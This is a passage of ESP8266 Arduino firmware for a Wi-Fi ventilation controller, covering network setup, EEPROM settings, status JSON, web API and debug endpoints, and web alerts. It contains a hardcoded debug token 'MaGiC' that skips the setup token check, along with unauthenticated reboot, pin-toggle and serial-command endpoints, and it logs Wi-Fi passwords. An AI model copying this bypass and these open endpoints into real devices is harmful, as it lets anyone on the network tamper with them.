EEPROM.put(0, EE); bool rc = EEPROM.commit(); dbg(String("setRebootReason: rc=") + rc); EEPROM.end(); } void updateReboots() { EE.reboots++; EEPROM.begin(sizeof(EE)); EEPROM.put(0, EE); EEPROM.commit(); EEPROM.end(); } String toStr(IPAddress a) { return String("") + a[0] + '.' + a[1] + '.' + a[2] + '.' + a[3]; } String getAPIP() { return toStr(WiFi.softAPIP()); } void setupNetwork() { dbgln("setupNetwork"); // if configured, try to connect to network first if (EE.homeNetwork.used) { int retries = 40; //*250ms=10s dbg("connecting to "); dbgln(EE.homeNetwork.ssid); WiFi.mode(EE.accessPoint.used ? WIFI_AP_STA : WIFI_STA); WiFi.begin(EE.homeNetwork.ssid, EE.homeNetwork.psk); while (WiFi.status() != WL_CONNECTED && 0 < retries--) { digitalWrite(LED_ONBOARD, retries % 2); delay(250); } } else { dbgln("no home network set up"); } boolean connected = WiFi.status() == WL_CONNECTED; dbg("setupNetwork:"); dbg(connected ? " " : " not "); dbgln("connected"); // if that fails (or requested through configuration), start access point (as well) if (EE.accessPoint.used || !connected) { if (!configured) { //dbgln("not configured => WIFI_AP_STA"); // will need to connect to network during setup WiFi.mode(WIFI_AP_STA); } else if (EE.homeNetwork.used) { // was configured to connect to a network //dbgln("homeNetwork used => WIFI_AP_STA"); WiFi.mode(WIFI_AP_STA); } else { // was configured to stay access point only, no network //dbgln("configure, no home network => WIFI_AP"); WiFi.mode(WIFI_AP); } String sid = EE.accessPoint.ssid; String psk = EE.accessPoint.psk; dbg("accessPoint.ssid: "); dbgln(sid); dbg("accessPoint.psk: "); dbgln(psk); if (!EE.accessPoint.used) { #ifdef DEFAULT_START_SSID sid = DEFAULT_START_SSID; #else sid = String("http://") + getAPIP(); #endif psk = DEFAULT_PSK; } dbg("ssid: "); dbgln(sid); dbg("psk: "); dbgln(psk); WiFi.softAP(sid.c_str(), psk.c_str()); } } /*************************************************************** Web server support */ // Send headers with HTTP response that disable browser caching void avoidCaching() { server.sendHeader(String("Pragma"), String("no-cache")); server.sendHeader(String("Expires"), String("0")); server.sendHeader(String("Cache-Control"), String("no-cache, no-store, must-revalidate")); } // Send 320 redirect HTTP response void sendRedirect(String path) { String body = String("<htm><body>Proceed to <a href=\"") + path + "\">" + path + "</a></body></html>"; server.sendHeader("Location", path); server.send(302, CT_TEXT_HTML, body); } void handleIndex() { server.send_P(200, PGM_CT_TEXT_HTML, HTML_INDEX); } // handle requests to /: if not yet configured, redirect to /setup, otherwise show default page void handleRoot() { #ifdef WITH_WEB_SETUP if (!configured) { sendRedirect("/setup"); return; } #endif handleIndex(); } void handleNotFound() { server.send(404, CT_TEXT_HTML, String("Not found: ") + server.uri()); //handleIndex(); } /*************************************************************** Web server support (first time network setup) */ #ifdef WITH_WEB_SETUP void handleSetup() { server.send_P(200, PGM_CT_TEXT_HTML, HTML_SETUP); } #endif String getLocalAddr() { IPAddress local = WiFi.localIP(); String addr = String(local[0]) + "." + local[1] + "." + local[2] + "." + local[3]; return addr; } void createConfigToken() { unsigned int i; for (i = 0; i < sizeof(configToken) - 1; i++) { configToken[i] = random('A', 'Z' + 1); } configToken[i] = 0; } void handleAjax() { String action = server.arg("a"); if (action == "set") { // set network name and password, start to connect String ssid = server.arg("ssid"); String psk = server.arg("psk"); if (ssid.length() < 1 || psk.length() < 8) { server.send(200, CT_APPL_JSON, "{\"ok\":0,\"msg\":\"Name or password to short\"}\n"); return; } else { strncpy(EE.homeNetwork.ssid, ssid.c_str(), sizeof(EE.homeNetwork.ssid)); TZERO(EE.homeNetwork.ssid); strncpy(EE.homeNetwork.psk, psk.c_str(), sizeof(EE.homeNetwork.psk )); TZERO(EE.homeNetwork.psk ); EE.homeNetwork.used = true; WiFi.mode(WIFI_AP_STA); WiFi.begin(EE.homeNetwork.ssid, EE.homeNetwork.psk); long timeout = 20; // secs connectAttemptExpires = millis() + timeout * 1000L; createConfigToken(); dbg("created configToken "); dbgln(configToken); server.send(200, CT_APPL_JSON, String("{\"ok\":1,\"msg\":\"Ok\",\"token\":\"") + configToken + "\",\"timeout\":\"" + timeout + "\"}\n"); return; } } else if (action == "status") { // sent when setup.html is polling for device coming up after reboot String saddr = getLocalAddr(); String caddr = toStr(server.client().remoteIP()); server.send(200, CT_APPL_JSON, String("{\"ok\":1,\"nwssid\":\"") + EE.homeNetwork.ssid + "\",\"saddr\":\"" + saddr + "\",\"caddr\":\"" + caddr + "\"}\n"); return; } String token = server.arg("t"); if (token == "MaGiC") { // okay (for debug purposes only) dbg("debug token: "); dbgln(token); } else if (token != configToken) { dbg("token exp: "); dbgln(configToken); dbg("token got: "); dbgln(token); server.send(200, CT_APPL_JSON, "{\"ok\":0,\"msg\":\"Token mismatch\"}\n"); return; } if (action == "wait") { // setup.html is checking if device connected long now = millis(); if (WiFi.status() == WL_CONNECTED) { String addr = getLocalAddr(); if (80 != HTTP_LISTEN_PORT) { addr += ":"; addr += HTTP_LISTEN_PORT; } server.send(200, CT_APPL_JSON, String("{\"ok\":1,\"status\":0,\"addr\":\"") + addr + "\"}\n"); return; } else if (connectAttemptExpires < 0 || now > connectAttemptExpires) { server.send(200, CT_APPL_JSON, "{\"ok\":1,\"status\":2,\"msg\":\"Timeout\"}\n"); return; } else { int left = (connectAttemptExpires - now) / 1000; server.send(200, CT_APPL_JSON, String("{\"ok\":1,\"status\":1,\"msg\":\"Connecting\",\"left\":") + left + "}\n"); return; } } else if (action == "save") { // setup.html connected via network (not AP), ready to commit settings String ap = server.arg("ap"); if (ap == "1") { // keep ap? String apssid = server.arg("apssid"); String appsk = server.arg("appsk"); strncpy(EE.accessPoint.ssid, apssid.c_str(), sizeof(EE.accessPoint.ssid)); TZERO(EE.accessPoint.ssid); strncpy(EE.accessPoint.psk, appsk.c_str(), sizeof(EE.accessPoint.psk )); TZERO(EE.accessPoint.psk ); EE.accessPoint.used = true; } else if (ap == "0") { EE.accessPoint.used = false; } else { server.send(200, CT_APPL_JSON, String("{\"ok\":0,\"msg\":\"parameter 'ap' missing\"}")); return; } EE.homeNetwork.used = true; EEPROM.begin(sizeof(EE)); EEPROM.put(0, EE); EEPROM.commit(); EEPROM.end(); String body = "{\"ok\":1}\n\n"; server.send(200, CT_APPL_JSON, body); delay(200); server.client().stop(); delay(200); dbgln("reboot scheduled"); rebootScheduledAfterSetup = millis() + 1 * 1000; return; } server.send(404, CT_APPL_JSON, String("{\"ok\":0,\"msg\":\"unknown resource\"}")); } /*************************************************************** Web server support (normal operation) */ void sendBinary(PGM_P src, size_t contentLength, const char *contentType) { // For some reason, this blocks for about one second and the client // receives no content. Not implemented for binary data ????? WiFiClient client = server.client(); String head = String("HTTP/1.0 200 OK\r\n") + "Content-Type: " + contentType + "\r\n" "Content-Length: " + contentLength + "\r\n" "Connection: close\r\n" "\r\n"; // TODO: Send in chunks. Avoid to allocate buffer for whole content. // This is probably the reason why fan.png crashes. char body[contentLength]; memcpy_P(body, src, contentLength); client.write(head.c_str(), head.length()); client.write(body, contentLength); client.flush(); delay(2); client.stop(); } #ifdef WITH_ICONS void handleFavicon() { sendBinary(FAVICON_ICO, sizeof(FAVICON_ICO), "image/x-icon"); /* // For some reason, this blocks for about one second and the client // receives no content. Not implemented for binary data ????? WiFiClient client = server.client(); int size = sizeof(FAVICON_ICO); String head = String("HTTP/1.0 200 OK\r\n" "Content-Type: image/x-icon\r\n" "Content-Length: ") + size + "\r\n" "Connection: close\r\n" "\r\n"; char buffer[size]; memcpy_P(buffer, (char*)FAVICON_ICO, size); client.write(head.c_str(), head.length()); client.write(buffer, size); client.flush(); delay(2); client.stop(); */ } #endif // TODO: makes ESP crash: /* void handleHomeIcon() { sendBinary(FAN_PNG, sizeof(FAN_PNG), "image/png"); } */ #ifdef WITH_ICONS void handleManifest() { server.send_P(200, PGM_CT_APPL_JSON, MANIFEST_JSON); } #endif String upTime() { return toHumanReadableTime(millis() / 1000); } String toHumanReadableTime(int secs) { long mins = secs / 60; secs %= 60; long hrs = mins / 60; mins %= 60; long days = hrs / 24; hrs %= 24; String t; if (days > 0) { t += String(days) + "d"; } if (t.length() > 0 || hrs > 0) { if (t.length() > 0) t += ", "; t += String(hrs ) + "h"; } if (t.length() > 0 || mins > 0) { if (t.length() > 0) t += ", "; t += String(mins) + "m"; } if (t.length() > 0) t += ", "; t += String(secs) + "s"; return t; } String createStatusJson() { unsigned long now = millis(); unsigned long left1 = health.rebootTime - now; unsigned long span2 = (now - health.lastWebCheck); long long left2 = WEB_CHECK_INTERVAL - span2; unsigned long span3 = (now - health.lastWebCheckError); //unsigned long left3 = WEB_CHECK_INTERVAL - span3; String nextReboot = toHumanReadableTime(left1 / 1000); String lastCheck = toHumanReadableTime(span2 / 1000); String nextCheck; if (left2 < 0) { nextCheck = "overdue"; } else { nextCheck = toHumanReadableTime(left2 / 1000); } String lastError; if (health.lastWebCheckError > 0) { lastError = toHumanReadableTime(span3 / 1000); } unsigned long delta = health.ventDiffStarted > 0 ? now - health.ventDiffStarted : 0; String refresh = server.arg("refresh"); // https://github.com/apdlv72/VitoWifi/issues/1 // (wobei ich jetzt hier gelesen hab daß das TSP (Id 89) Nummer 0x17 sein soll, // 1 ist offenbar "filter ok", mal sehen was meiner grad sagt, bei dem ist grad die Filteranzeige an. //String filterCheck = String(state.tsps[23], 16); String filterCheck = state.status.lo < 0 ? "-1" : (state.status.lo & 32) ? "1" : "0"; String json = String() + "{\n" " \"ok\":1,\n" " \"build\":\"" + buildNo + "\",\n" " \"reboots\":\"" + EE.reboots + "\",\n" " \"now\":" + now + ",\n" " \"uptime\":\"" + upTime() + "\",\n" " \"timeAdj\":\"" + state.timeAdj + "\",\n" " \"script\":{\"v\":\"" + state.scriptVersion + "\",\"n\":\"" + state.scriptName + "\"},\n" " \"lastMsg\":{" + "\"serial\":" + (now - state.lastMsg.serial) + "" #ifdef WITH_DEBUG_SERIAL ",\"wifi\":{\"fed\":" + (now - state.lastMsg.wifi.fed) + ",\"debug\":" + (now - state.lastMsg.wifi.debug) + "}" #endif "},\n" " \"dbg\":{\"level\":" + DEBUG_LEVEL + "},\n" " \"vent\":{\"set\":" + state.ventSetpoint + ",\"override\":" + state.ventOverride + ",\"web\":" + state.ventWeb + ",\"ackn\":" + state.ventAcknowledged + ",\"reported\":" + state.ventReported + ",\"relative\":" + state.ventRelative + "},\n" " \"lastAcknCh\":" + (now - state.lastAcknChange) + ",\n" " \"unresponsiveness\":{" "\"isResp\":" + health.isResponsive + "," "\"wasResp\":" + health.wasResponsive + "," "\"start\":" + health.ventDiffStarted + ",\"delta\":" + delta + ",\"reported\":" + health.lastDiffReported + "},\n" " \"web\":{\"last\":\"" + lastCheck + "\",\"next\":\"" + nextCheck + "\",\"lastErr\":\"" + lastError + "\",\"posts\":" + health.postOkCount + ",\"fail\":" + health.webFailCount + "},\n" " \"nextReboot\":\"" + nextReboot + "\",\n" " \"temp\":{\"supply\":" + state.tempSupply + ",\"exhaust\":" + state.tempExhaust + "},\n" " \"status\":[" + state.status.hi + "," + state.status.lo + "],\n" " \"faultFlagsCode\":[" + state.faultFlagsCode.hi + "," + state.faultFlagsCode.lo + "],\n" " \"configMemberId\":[" + state.configMemberId.hi + "," + state.configMemberId.lo + "],\n" " \"masterConfig\":[" + state.masterConfig.hi + "," + state.masterConfig.lo + "],\n" " \"remoteParamFlags\":[" + state.remoteParamFlags.hi + "," + state.remoteParamFlags.lo + "],\n" " \"filterCheck\":" + filterCheck + ",\n" " \"service\":{\"filter\":\"" + state.filterAction + "\",\"cartridge\":\"" + state.cartridgeAction + "\"},\n" " \"messages\":{\n" + " \"total\":" + (state.messages.serial + state.messages.wifi.fed + state.messages.wifi.debug) + ",\n" " \"serial\":" + state.messages.serial + ",\n" #ifdef WITH_DEBUG_SERIAL " \"wifi\":{\"fed\":" + state.messages.wifi.fed + ",\"debug\":" + state.messages.wifi.debug + "},\n" #endif " \"invalid\":{\"len\":" + state.messages.invalid.length + ",\"format\":" + state.messages.invalid.format + ",\"src\":" + state.messages.invalid.source + "},\n" " \"expected\":{" + "\"T\":" + state.messages.expected.T + "," "\"B\":" + state.messages.expected.B + "," "\"R\":" + state.messages.expected.R + "," "\"A\":" + state.messages.expected.A + "},\n" " \"unexpected\":{" + "\"T\":" + state.messages.unexpected.T + "," "\"B\":" + state.messages.unexpected.B + "," "\"R\":" + state.messages.unexpected.R + "," "\"A\":" + state.messages.unexpected.A + "," "\"zero\":" + state.messages.unexpected.zero + "}\n" " },\n" " \"mem\":{\"heap\":{\"least\":" + leastHeap + "},\"stack\":{\"max\":" + maxStack + "}},\n" " \"debug\":" + DEBUG_LEVEL + ",\n" ; #ifdef WITH_DALLAS_TEMP_SENSORS json += String( " \"sensorsFound\":") + state.sensorsFound + ",\n" " \"lastMeasure\":" + (now - state.lastMeasure) + ",\n" " \"sensors\":["; for (unsigned int i = 0; i < sizeof(state.extraTemps) / sizeof(state.extraTemps[0]); i++) { if (i > 0) json += ","; json += state.extraTemps[i]; } json += "],\n"; #endif json += " \"tsps\":["; // print "transparent slave parameters" as json array for (unsigned int i = 0; i < sizeof(state.tsps) / sizeof(state.tsps[0]); i++) { if (i > 0 ) json += ","; if (0 == i % 8) json += "\n "; json += state.tsps[i]; } json += "],\n"; String bssid = WiFi.BSSIDstr(); json += " \"wifi\": {" "\"host\":\"" + WiFi.hostname() + "\"," "\"ip\":\"" + getLocalAddr() + "\"," "\"mac\":\"" + getMac() + "\"," "\"rssi\":" + WiFi.RSSI() + "," "\"bssid\":\"" + bssid + "\"},\n" " \"ap\":{" "\"ssid\":\"" + WiFi.softAPSSID() + "\"," "\"ip\":\"" + getAPIP() + "\"," "\"mac\":\"" + WiFi.softAPmacAddress() + "\"," "\"cl\":" + WiFi.softAPgetStationNum() + "},\n" ; String details = health.lastRebootDetails; json += " \"esp\":{\"id\":\"" + String(ESP.getChipId(), 16) + "\",\"core\":\"" + ESP.getCoreVersion() + "\",\"sdk\":\"" + ESP.getSdkVersion() + "\",\"reboot\":\"" + ESP.getResetReason() + "\",\"details\":\"" + details + "\"," "\"freq\":" + ESP.getCpuFreqMHz() + ",\"sketch\":" + ESP.getSketchSize() + "}\n" ; json += "}\n"; return json; } String getMac() { uint8_t macAddr[6]; WiFi.macAddress(macAddr); String rtv = String(macAddr[0], 16) + ":" + String(macAddr[1], 16) + ":" + String(macAddr[2], 16) + ":" + String(macAddr[3], 16) + ":" + String(macAddr[4], 16) + ":" + String(macAddr[5], 16); rtv.toUpperCase(); return rtv; } void handleApiStatus() { String refresh = server.arg("refresh"); String json = createStatusJson(); avoidCaching(); if (refresh != "") server.sendHeader("Refresh", refresh); server.send(200, CT_APPL_JSON, json); } boolean timeWasSet = false; String getDate() { if (timeWasSet) { // TODO: Set time later via API call and use a millis() based RTC or add NTP support (time server) // Use time to fallback to basic level control e.g. if no command received via WiFi for more than // a couple of hours/minutes. } return String(millis()); } void handleApiLevel() { int l = state.ventOverride; String json = String("{\"ok\":1,\"now\":") + getDate() + ",\"level\":" + l + "}\n"; avoidCaching(); server.send(200, CT_APPL_JSON, json); } #ifdef WITH_DEBUG_SERIAL void handleDbgSet() { String level = server.arg("level"); int old = DEBUG_LEVEL; DEBUG_LEVEL = atoi(level.c_str()); String body = String("debug level set from ") + old + " to " + DEBUG_LEVEL; avoidCaching(); server.send(200, CT_TEXT_PLAIN, body); } void handleDbgMsg() { String msg = server.arg("msg"); String feed = server.arg("feed"); String rc = "no message"; if (msg != "") { if (feed == "1") { state.lastMsg.wifi.fed = millis(); state.messages.wifi.fed++; rc = onOTGWMessage(msg, true); } else { state.lastMsg.wifi.debug = millis(); state.messages.wifi.debug++; rc = onOTGWMessage(msg, false); } } avoidCaching(); server.send(200, CT_TEXT_PLAIN, rc); } // Use this like: "curl http://192.168.4.1/dbg/tailf". // It will however not receive a valid HTTP response but dump things to stdout. #endif // WITH_DEBUG_SERIAL #ifdef WITH_DEBUG_UDP void handleUdpOn() { stopUdpLoggingAfter = 0; doLogUDP = true; logUDP("**** UDP LOGGING ENABLED ****"); avoidCaching(); server.send(200, CT_TEXT_PLAIN, "UDP logging enabled"); } void handleUdpOff() { doLogUDP = true; logUDP("**** UDP LOGGING DISABLED ****"); doLogUDP = false; avoidCaching(); server.send(200, CT_TEXT_PLAIN, "UDP logging disabled"); } #endif #ifdef WITH_WEB_CALLS void handlePost() { String response = handleWebUpdate(true); avoidCaching(); server.send(200, CT_TEXT_PLAIN, response); } #endif void handleReboot() { String ip = server.client().remoteIP().toString(); String reason = String("API request from " + ip); setRebootReason(reason); avoidCaching(); server.send(200, CT_TEXT_PLAIN, "OK\n"); delay(100); #ifdef WITH_WEB_CALLS sendAlert(String("μController rebooting: ") + reason, true, false); #endif ESP.reset(); } void handleResetOTGW() { dbgln("handleResetOTGW"); resetOTGW(); avoidCaching(); server.send(200, CT_TEXT_PLAIN, "OK\n"); } void handleResetReboots() { dbgln("handleResetReboots"); EE.reboots = 0; EEPROM.begin(sizeof(EE)); EEPROM.put(0, EE); EEPROM.commit(); EEPROM.end(); avoidCaching(); server.send(200, CT_TEXT_PLAIN, "OK\n"); } #ifdef WITH_TAILF void handleDbgTailF() { String cmd = server.arg("cmd"); WiFiClient client = server.client(); // Send at least a very basic HTTP header. client.write("HTTP/1.0 200 OK\r\nContent-Type: text/plain\r\n\r\n"); if (cmd == "") { client.print("No cmd sent\n"); } else { Serial.print(cmd); Serial.print("\r\n"); Serial.print(cmd); Serial.print("\n"); client.print(String("Cmd sent: '") + cmd + "'"); } inputString = ""; uint32_t maxWait = 60 * 1000; // 20s do { //client.print("waiting for serial data\n"); // Wait for data on serial line to become available while (client.connected() && !Serial.available() && maxWait--) { delay(1); } if (Serial.available()) { //client.print("Serial.available\n"); char inChar = (char)Serial.read(); //client.print("Serial.available: 0x"); //client.print(String((int)inChar, 16)); client.print(" "); //client.print(String((int)inChar, 10)); client.print("\n"); switch (inChar) { case '\r': // ignore CR, assume next is newline break; case '\n': stringComplete = true; break; default: inputString += inChar; } } if (stringComplete) { //client.print("stringComplete: '"); //client.print(inputString); //client.print("'\n"); state.lastMsg.serial = millis(); state.messages.serial++; client.print(inputString); client.print("\n"); String rc = onOTGWMessage(inputString, true); client.print(rc); stringComplete = false; inputString = ""; ledToggle(); } } while (client.connected()); //dbgln("client disconnected"); client.stop(); delay(10); } #endif #ifdef WITH_PIN_TEST void handlePinTest() { String str = server.arg("p"); if (str == "") { server.send(404, CT_TEXT_PLAIN, "No pin specified\n"); return; } int pin = atoi(str.c_str()); server.send(200, CT_TEXT_PLAIN, String("Toggle pin ") + pin + "\n"); server.client().stop(); dbg("toggle start pin"); dbgln(pin); pinMode(pin, OUTPUT); for (int i = 0; i < 10; i++) { dbg("digitalWrite("); dbg(pin); dbg(","); dbgln(i % 2); digitalWrite(pin, i % 2); delay(200); } dbg("toggle stop pin"); dbgln(pin); } #endif // WITH_PIN_TEST void handleApiSet() { String s = server.arg("level"); s.trim(); s.toLowerCase(); int l = -1; if (s == "high") l = LEVEL_HIGH; // ------- else if (s == "norm") l = LEVEL_NORM; else if (s == "normal") l = LEVEL_NORM; // ------- else if (s == "low") l = LEVEL_LOW; // ------- else if (s == "off") l = LEVEL_OFF; else { l = atoi(s.c_str()); if (0 == l && EINVAL == errno) { l = -1; // inval } else if (l < LEVEL_OFF || l > LEVEL_HIGH) { l = -1; // inval } } String json; if (-1 == l) { json = String("{\"ok\":0,\"now\":") + getDate() + ",,\"msg\":\"invalid value\",\"value\":\"" + s + "\"}\n"; } else { int old = overrideVentSetPoint(l); json = String("{\"ok\":1,\"now\":") + getDate() + ",\"level\":" + l + ",\"value\":\"" + s + "\",\"old\":" + old + "}\n"; } avoidCaching(); server.send(200, CT_APPL_JSON, json); } /* From Arduino docs: SerialEvent occurs whenever a new data comes in the hardware serial RX. This routine is run between each time loop() runs, so using delay inside loop can delay response. Multiple bytes of data may be available. For some reason, this does not work on ESP (never called). Therefor calling it at the beginning of the main loop() */ void serialEvent() { if (!Serial.available()) return; while (Serial.available() && !stringComplete) { // get the new byte: char c = (char)Serial.read(); // if the incoming character is a newline, set a flag // so the main loop can do something about it: switch (c) { // ignore CR, assume next is a newline case '\r': break; case '\n': stringComplete = true; // -> break ouf the while loop break; default: inputString += c; } } } #ifdef WITH_DALLAS_TEMP_SENSORS // forward declarations void setupSensors(); void handleSensors(); #endif #ifdef WITH_USAGE_HELP void handleHelp() { String body = "/index\n" "/setup\n" "/api/status?refresh=<int>\n" "/api/set?level=[0-3]\n" "/api/level\n" #ifdef WITH_DEBUG_SERIAL "/dbg/tailf?cmd=<str>\n" "/dbg/set?level=[0-1]\n" "/dbg/msg?msg=X00000000&feed=[0-1]\n" #endif // WITH_DEBUG_SERIAL #ifdef WITH_PIN_TEST "/pintest?pin=X\n" #endif // WITH_PIN_TEST "/help\n"; server.send(200, CT_TEXT_PLAIN, body); } #endif // initial stack char *stack_start; int getStackSize() { char stack; return stack_start - &stack; } void setup() { // init record of stack char stack; stack_start = &stack; Serial.begin(9600); // as used by OTGW Serial.println(String("ZZ=REASON=") + ESP.getResetReason()); pinMode(LED_HEART, OUTPUT); //pinMode(LED_BUILTIN, OUTPUT); timer1_attachInterrupt(timerRoutine); timer1_enable(TIM_DIV16, TIM_EDGE, TIM_SINGLE); timer1_write(timer_value); overrideVentSetPoint(LEVEL_NOOVER); WiFi.begin(NETWORK, PASSWORD); dbgln("Connecting to " NETWORK); int i = 0; while (WiFi.status() != WL_CONNECTED) { // Wait for the Wi-Fi to connect digitalWrite(LED_HEART, HIGH); delay(100); digitalWrite(LED_HEART, LOW); delay(100); digitalWrite(LED_HEART, HIGH); delay(100); digitalWrite(LED_HEART, LOW); delay(100); dbg(String(" " + i)); ++i; } #ifdef WITH_DEBUG_UDP UDP.begin(UDP_PORT); doLogUDP = true; #endif dbgln(String("\nZZ=Connected, IP ") + WiFi.localIP().toString()); overrideVentSetPoint(LEVEL_NOOVER); inputString.reserve(200); if (!readConfiguration()) { // when EEPROM was not starting with magic, need to set up first: firstTimeSetup(); // read again, this time it should succeed: readConfiguration(); } else { // increment reboot counter in EEPROM updateReboots(); } // init global state state.ventSetpoint = -1; // set by overrideVentSetPoint above //state.ventOverride = -1; state.ventWeb = -1; state.ventAcknowledged = -1; state.lastAcknChange = 0; state.ventReported = -1; state.ventRelative = -1; state.tempSupply = -12700; // -127C (as dallas when no value read) state.tempExhaust = -12700; state.status.hi = state.status.lo = -1; state.faultFlagsCode.hi = state.faultFlagsCode.lo = -1; state.configMemberId.hi = state.configMemberId.lo = -1; state.masterConfig.hi = state.masterConfig.lo = -1; state.remoteParamFlags.hi = state.remoteParamFlags.lo = -1; for (unsigned int i = 0; i < sizeof(state.tsps) / sizeof(state.tsps[0]); i++) { state.tsps[i] = -1; } for (unsigned int i = 0; i < sizeof(state.extraTemps) / sizeof(state.extraTemps[0]); i++) { state.extraTemps[i] = -12700; // hecto-celsius } #ifdef WITH_DALLAS_TEMP_SENSORS setupSensors(); #endif health.isResponsive = true; health.wasResponsive = true; setupNetwork(); server.on("/", handleRoot); server.on("/index", handleIndex); server.on("/index.html", handleIndex); #ifdef WITH_ICONS server.on("/manifest.json", handleManifest); server.on("/favicon.ico", handleFavicon); // TODO: makes ESP crash //server.on("/fan.png", handleHomeIcon); #endif server.on("/api/status", handleApiStatus); server.on("/api/set", handleApiSet); server.on("/api/level", handleApiLevel); #ifdef WITH_WEB_SETUP server.on("/setup", handleSetup); #endif server.on("/ajax", handleAjax); #ifdef WITH_TAILF server.on("/dbg/tailf", handleDbgTailF); #endif #ifdef WITH_DEBUG_UDP server.on("/dbg/udp/0", handleUdpOff); server.on("/dbg/udp/1", handleUdpOn); #endif #ifdef WITH_WEB_CALLS server.on("/dbg/post", handlePost); #endif server.on("/dbg/reboot", handleReboot); server.on("/dbg/reset/otgw", handleResetOTGW); server.on("/dbg/reset/reboots", handleResetReboots); #ifdef WITH_DEBUG_SERIAL server.on("/dbg/set", handleDbgSet); server.on("/dbg/msg", handleDbgMsg); #endif #ifdef WITH_PIN_TEST server.on("/dbg/pin", handlePinTest); #endif #ifdef WITH_USAGE_HELP server.on("/help", handleHelp); #endif server.onNotFound( handleNotFound); server.begin(); #ifdef WITH_OTA String otaName = "VitoWifi-" + String(ESP.getFlashChipId(), 16); ArduinoOTA.setHostname(otaName.c_str()); ArduinoOTA.begin(); #endif //stopUdpLoggingAfter = millis() + 10*60*1000; // stop spamming 10 minutes after start stopUdpLoggingAfter = -1; // never stop dbg(String("UDP logging will stop ") + stopUdpLoggingAfter); } void handleHeartbeat() { int now = millis(); // Start blinking after things stable. // Seems like fiddeling with GPIO0 too early resets the device sporadically. if (now < 5000) return; boolean light = false; int level = state.ventOverride; // 0=off,...,3=high if (now > 30000 && WiFi.status() != WL_CONNECTED) { light = (now / 100) % 2; } else if (level < 0) { light = (now / 2000) % 2; } else { int sequence = now % 2500; // 0,...,2500-1 int prefix = 500 * (level + 1); // 500, 1000, 1500, 2000 if (sequence < prefix) { sequence %= 500; // runs 1x,2x,3x or 4x through 0,..,500-1 light = sequence < 250; } } if (light != led_lit) { pinMode(LED_HEART, OUTPUT); digitalWrite(LED_HEART, light ? LOW : HIGH); led_lit = light; } } #ifdef WITH_WEB_CALLS void sendAlert(String text, bool isDebug, bool onlyDirectly) { if (!doSendAlerts) { return; } // controller might crash here, save last action: setRebootReason("Before sending alert"); led_blink = true; { webGet(String(ALERT_URL) + urlEncode(text), "", true); if (!isDebug) { webGet(String(MAINTENANCE_URL) + urlEncode(text), "", true); } if (!onlyDirectly) { String msg = text + " [VitoWifi-" + String(ESP.getFlashChipId(), 16) + "]" + " http:// " + WiFi.localIP().toString(); webGet(UPDATE_URL, "alert=" + urlEncode(msg), true /* ignore body */); } } led_blink = false; setRebootReason("Normal operation after sending alert"); } String handleWebUpdate(boolean force) { unsigned long now = millis(); if (now<20*1000) { //dbg(String("handleWebUpdate: lo=") + state.status.lo + ", hi=" + state.status.hi); if (state.status.lo<0 || state.status.hi<0) { // its better to wait until status info is available so // the remote side can determine the filter change status. //dbg("Defer push until status available"); delay(250); return "deferred"; } //dbg("No status within 20 seconds ... push anyway"); } if (0 == health.lastWebCheck || now < health.lastWebCheck || now - health.lastWebCheck > WEB_CHECK_INTERVAL || force) { // controller might crash here, save last action: setRebootReason("Web post"); led_blink = true; String response; String needle = "ventLevel="; String postData = createStatusJson(); response = webPost(UPDATE_URL, false); setRebootReason("Normal operation after web post"); led_blink = false; dbg(String("webPost: response='") + response + "'"); // TODO Use findNeedle() int pos = response.indexOf(needle); if (pos > -1) { health.postOkCount++; int level = response.substring(pos + needle.length()).toInt(); if (level < LEVEL_OFF || level > LEVEL_HIGH) { level = LEVEL_NORM; } state.ventWeb = level; overrideVentSetPoint(level); health.lastWebCheckError = 0; } else { health.webFailCount++; if (0 == health.lastWebCheckError) { health.lastWebCheckError = millis(); } unsigned long delta = millis() - health.lastWebCheckError; if (delta > 60 * 60 * 1000) { sendAlert("Failed to fetch ventilation level from web page for more than 1 hour.", true, true); } } needle = "timeAdj="; pos = response.indexOf(needle); if (pos > -1) { state.timeAdj = response.substring(pos + needle.length()).toInt(); } state.scriptName = findNeedle(response, "script="); state.scriptVersion = findNeedle(response, "version="); state.filterAction = findNeedle(response, "filter="); state.cartridgeAction = findNeedle(response, "cartridge="); health.lastWebCheck = millis(); return response; } return "0"; } #endif String findNeedle(String haystack, String needle) { String found = ""; int pos = haystack.indexOf(needle); if (pos>-1) { found = haystack.substring(pos + needle.length()); pos = found.indexOf("\n"); if (pos>-1) { found = found.substring(0, pos); } found.trim(); } return found; } void loop() { // memory leak prevention: restart if free memory drops below 25% of initialy available if (health.initalFree < 0) { health.initalFree = ESP.getFreeHeap(); } else { long freeNow = ESP.getFreeHeap(); if ( (100 * freeNow) / health.initalFree < 25) { #ifdef WITH_WEB_CALLS if (!health.rebootAnnounced) { String reason = String("Low memory ") + freeNow + " of " + health.initalFree + "B"; sendAlert(String("μController rebooting: ") + reason, true, false); setRebootReason(reason); } health.rebootAnnounced = true; #endif ESP.restart(); } } #ifdef WITH_DEBUG_UDP if (stopUdpLoggingAfter > 0 && millis() > stopUdpLoggingAfter) { dbg("*** UDP LOGGING STOPS ***"); doLogUDP = false; stopUdpLoggingAfter = 0; } #endif unsigned long now = millis(); if (now > health.rebootTime) { if (!health.rebootAnnounced) { String reason = String("Uptime > ") + upTime(); #ifdef WITH_WEB_CALLS sendAlert(String("μController rebooting: ") + reason, true, false); #endif setRebootReason(reason); } health.rebootAnnounced = true; ESP.reset(); // might fall through here? } #ifdef WITH_WEB_CALLS if (now - lastConnectionSuccess > 60 * 60 * 1000) { if (!health.rebootAnnounced) { #ifdef WITH_WEB_CALLS String reason = "No connectivity > 1h"; sendAlert(String("μController rebooting: ") + reason, true, false); #endif setRebootReason(reason); } health.rebootAnnounced = true; ESP.reset(); // might fall through here? } #endif if (!health.startAnnounced) { health.startAnnounced = true; String reason = health.lastRebootDetails; String msg = String("μController started: reason: '") + reason + "', " + health.initalFree + " bytes free (" + buildNo + ")"; dbg(msg); reason = "While in normal operation"; setRebootReason(reason); dbg(String("new reason: ") + reason); #ifdef WITH_WEB_CALLS sendAlert(msg, true, false); #endif } if (state.ventOverride != state.ventAcknowledged) { unsigned long now = millis(); if (health.ventDiffStarted == 0) { health.ventDiffStarted = now; } // allow the slave up to 30 seconds to accept/acknowledge a change of override value unsigned long delta = now - health.ventDiffStarted; if (delta > 60 * 1000) { health.isResponsive = false; #ifdef WITH_WEB_CALLS delta = now - health.lastDiffReported; // report unresponsivness at most once per hour if (0 == health.lastDiffReported || delta > 3600 * 1000) { String msg; if (state.ventAcknowledged < 0) { msg = "Ventilation is not responding."; } else { msg = "Ventilation stopped 